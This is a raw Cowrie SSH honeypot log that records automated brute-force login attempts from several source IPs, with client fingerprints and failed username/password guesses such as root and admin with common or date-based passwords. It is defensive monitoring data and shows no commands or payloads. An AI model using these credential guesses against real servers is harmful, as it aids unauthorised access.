{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:56.026546Z","src_ip":"85.11.167.46","session":"c32f35d16f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":57644,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a6ef5677234","protocol":"ssh","message":"New connection: 191.101.59.86:57644 (159.203.135.109:22) [session: 0a6ef5677234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:09.290401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:09.299997Z","src_ip":"191.101.59.86","session":"0a6ef5677234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:09.395525Z","src_ip":"191.101.59.86","session":"0a6ef5677234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456.","message":"login attempt [root/Qwe123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:09.768602Z","src_ip":"191.101.59.86","session":"0a6ef5677234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:10.858348Z","src_ip":"191.101.59.86","session":"0a6ef5677234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":50552,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2757d9eb07","protocol":"ssh","message":"New connection: 171.25.158.82:50552 (159.203.135.109:22) [session: 7f2757d9eb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:18.143377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:18.147960Z","src_ip":"171.25.158.82","session":"7f2757d9eb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:18.311483Z","src_ip":"171.25.158.82","session":"7f2757d9eb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ldap","password":"P@ssw0rd","message":"login attempt [ldap/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:18.915086Z","src_ip":"171.25.158.82","session":"7f2757d9eb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:15:20.038976Z","src_ip":"171.25.158.82","session":"7f2757d9eb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35747,"dst_ip":"10.17.0.5","dst_port":22,"session":"c455f1ac279c","protocol":"ssh","message":"New connection: 2.57.121.112:35747 (10.17.0.5:22) [session: c455f1ac279c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:12.383001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:12.393949Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:12.498464Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040479","message":"login attempt [admin/040479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:12.987883Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040478","message":"login attempt [admin/040478] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:14.096581Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040477","message":"login attempt [admin/040477] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:15.204892Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041998","message":"login attempt [admin/04041998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:16.320007Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041997","message":"login attempt [admin/04041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:17.429268Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:18.537562Z","src_ip":"2.57.121.112","session":"c455f1ac279c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":51714,"dst_ip":"159.203.135.109","dst_port":22,"session":"54cb39fcc617","protocol":"ssh","message":"New connection: 171.25.158.82:51714 (159.203.135.109:22) [session: 54cb39fcc617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:57.241156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:57.338600Z","src_ip":"171.25.158.82","session":"54cb39fcc617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:57.543701Z","src_ip":"171.25.158.82","session":"54cb39fcc617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Welcome@123","message":"login attempt [postgres/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:58.126498Z","src_ip":"171.25.158.82","session":"54cb39fcc617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:16:59.246842Z","src_ip":"171.25.158.82","session":"54cb39fcc617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48422,"dst_ip":"159.203.135.109","dst_port":22,"session":"0815bff8d2af","protocol":"ssh","message":"New connection: 37.233.85.71:48422 (159.203.135.109:22) [session: 0815bff8d2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:13.683489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:13.688301Z","src_ip":"37.233.85.71","session":"0815bff8d2af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:13.793025Z","src_ip":"37.233.85.71","session":"0815bff8d2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"project","message":"login attempt [root/project] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:14.106794Z","src_ip":"37.233.85.71","session":"0815bff8d2af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:15.214933Z","src_ip":"37.233.85.71","session":"0815bff8d2af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55296,"dst_ip":"159.203.135.109","dst_port":22,"session":"756c512be9f2","protocol":"ssh","message":"New connection: 103.153.68.219:55296 (159.203.135.109:22) [session: 756c512be9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:19.623501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:19.631728Z","src_ip":"103.153.68.219","session":"756c512be9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:19.881214Z","src_ip":"103.153.68.219","session":"756c512be9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210187","message":"login attempt [root/210187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:20.629872Z","src_ip":"103.153.68.219","session":"756c512be9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:17:21.882551Z","src_ip":"103.153.68.219","session":"756c512be9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":51502,"dst_ip":"159.203.135.109","dst_port":22,"session":"3290f536f6cf","protocol":"ssh","message":"New connection: 171.25.158.82:51502 (159.203.135.109:22) [session: 3290f536f6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:18:34.305020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:18:34.311151Z","src_ip":"171.25.158.82","session":"3290f536f6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:18:34.417933Z","src_ip":"171.25.158.82","session":"3290f536f6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1!","message":"login attempt [root/P@ssw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:18:34.914763Z","src_ip":"171.25.158.82","session":"3290f536f6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:18:36.114749Z","src_ip":"171.25.158.82","session":"3290f536f6cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":54342,"dst_ip":"159.203.135.109","dst_port":22,"session":"018d9fba1bc8","protocol":"ssh","message":"New connection: 103.13.206.227:54342 (159.203.135.109:22) [session: 018d9fba1bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:19:32.754740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:19:32.759855Z","src_ip":"103.13.206.227","session":"018d9fba1bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:19:32.997920Z","src_ip":"103.13.206.227","session":"018d9fba1bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ldap","password":"P@ssw0rd","message":"login attempt [ldap/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:19:33.961956Z","src_ip":"103.13.206.227","session":"018d9fba1bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:19:35.199122Z","src_ip":"103.13.206.227","session":"018d9fba1bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":42414,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7e37652a051","protocol":"ssh","message":"New connection: 171.25.158.82:42414 (159.203.135.109:22) [session: c7e37652a051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:20:08.939415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:20:08.946081Z","src_ip":"171.25.158.82","session":"c7e37652a051","protocol":"ssh"}
